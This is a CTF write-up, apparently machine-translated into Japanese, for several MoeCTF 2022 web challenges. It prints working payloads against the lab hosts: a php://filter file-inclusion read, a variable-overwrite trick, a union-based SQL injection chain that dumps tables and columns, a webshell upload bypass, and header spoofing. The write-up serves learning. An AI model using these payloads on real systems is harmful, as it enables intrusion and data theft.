[MoeCTF 2022]baby_file
「海は何百もの川を受け入れ、寛容は素晴らしい。何千フィートの壁の上に立つと、欲望がなくても強さを得ることができます。」 これは、人々が無数の川を受け入れることができる海のように広い心を持ち、他の人を扱うべきであることを意味します寛容性と統合性を備えています。(私たちクンクンはこんなに頑張ってきたのに、なぜまだクンクンを批判したいのですか!!?あなたたちは本当にバカです!!)
? ? ? 私の弟をハッキングしているんですよね?
環境を開いた後のソースコードは次のとおりです
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
include
関数を見ると、それは次の内容を含むファイルであると考えることができます。
ただし、直接渡されるfile
値はindex.php
またはに等しいことはできないflag.php
ため、次を使用する必要があります。php伪协议
index.php
コンテンツを読み取るためのペイロードを構築する
http://node3.anna.nssctf.cn:28899/?file=php://filter/read=convert.base64-encode/resource=index.php
アクセス後、base64でエンコードされたデータを取得しますindex.php
Base64デコードをデコードしてソースコードを取得します
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
隠された情報がないことが判明したため、それを読み取るためのペイロードを構築しました。flag.php
http://node3.anna.nssctf.cn:28899/?file=php://filter/read=convert.base64-encode/resource=flag.php
アクセス後はエンコードされたフラグを取得し、デコード後はフラグを取得します。
言葉が出ません、まだ私の弟を侮辱しているんですね?
[MoeCTF 2022]ezhtml
デバッガでソースコードを直接見ることでフラグを取得できます。
[MoeCTF 2022]何をアップロードしていますか?
马子は必要ですか?
CTF の出題者は常に爆発的なものを考え出します。
ファイルアップロードの概要
一文のトロイの木馬をアップロードするには、まず PHP ファイルをアップロードしてみてください。
フロントエンドがそれを傍受するので、すぐに写真をアップロードします。
burp でパケットをキャプチャした後、ファイルのサフィックスを変更することで php ファイルをアップロードできますが、ファイル パスがわからない場合は getshell を実行できません。
次に、彼のリクエストに応じてアップロードしますf1ag.php
アップロード後に絵馬の名前を直接変更してf1ag.php
旗を取得します
[MoeCTF 2022]ezphp
ソースコード
highlight_file('source.txt');
echo "<br><br>";
$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
変数カバレッジを調べる
ペイロードを構築して直接入力します
http://node2.anna.nssctf.cn:28665?cmd=flag&flag=cmd
フラグを取得
[MoeCTF 2022]Sqlmap_boy
F12 でヒントが表示されます
これがsql
クエリステートメントです
$sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";';
そこでSQLインジェクションを実行します
インジェクション ステートメントを観察すると、終了メソッドが単一引用符と二重引用符であることがわかります'"
。ユニバーサル パスワードを試してください。
username=admin'" or 1=1;#&password=1
ここのメッセージはUnicode
エンコードされていますので、デコードしてください
ログインに成功すると、リダイレクトされますsecret.php?id=1
。 にアクセスしてください。
http://node2.anna.nssctf.cn:28527/secrets.php?id=1
ここがid=1
注射ポイントだと思います。関節注射を試してみますが、うまくいきません
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,2,3 --+
素晴らしい仕事です、何もフィルターされていません
データベースを直接爆発させるだけです。
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),3 --+
爆発物
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='moectf' --+
爆発物フィールド
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='flag' --+
データを取得する
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(flAg) from flag
フラグを取得
[MoeCTF 2022]クッキーヘッド
RT
? 分かりません
ローカルアクセスのみを教えてください
XFF
偽造
ターゲットのドローンに問題があり、撮影できません。
通常は偽造されておりX-Forwarded-For
、127.0.0.1です。
他のマスターのWPも拝見しましたが、とても基本的な内容でした。
XFF
偽造が完了すると表示されます。
http://127.0.0.1/index.php の出身者ではありません。
そしてReferer
鍛造する
// 添加 Referer 头
Referer http://127.0.0.1/index.php
偽造後のエコー
まずログインしてください
login=0
に変更されますlogin=1
狙いの神
ゲームの質問、10 ポイントを完了すると、フラグの前半を取得できます
次に、HTML 内のプロンプトを確認します。
次に、ソース コードを確認してaimTrainer.js
、フラグに関連するコードを見つけました。
checkflag1() {
if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
this[_0x78bd[20]]();
alert(_0x78bd[21]);
alert(_0x78bd[22]);
this[_0x78bd[23]]()
}
}
checkflag2() {
if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
this[_0x78bd[20]]();
alert(_0x78bd[24])
}
}
を参照してくださいalert
。F12 はコンソールで実行されます。
alert(_0x78bd[24])
後半フラグを入手
試してみる
moectf{Oh_you_can_a1m_and_H4ck_Javascript}
追記
NSS ドローンに問題があるため、最後の 2 つのフラグの質問を送信できません。改善されたら再度送信します。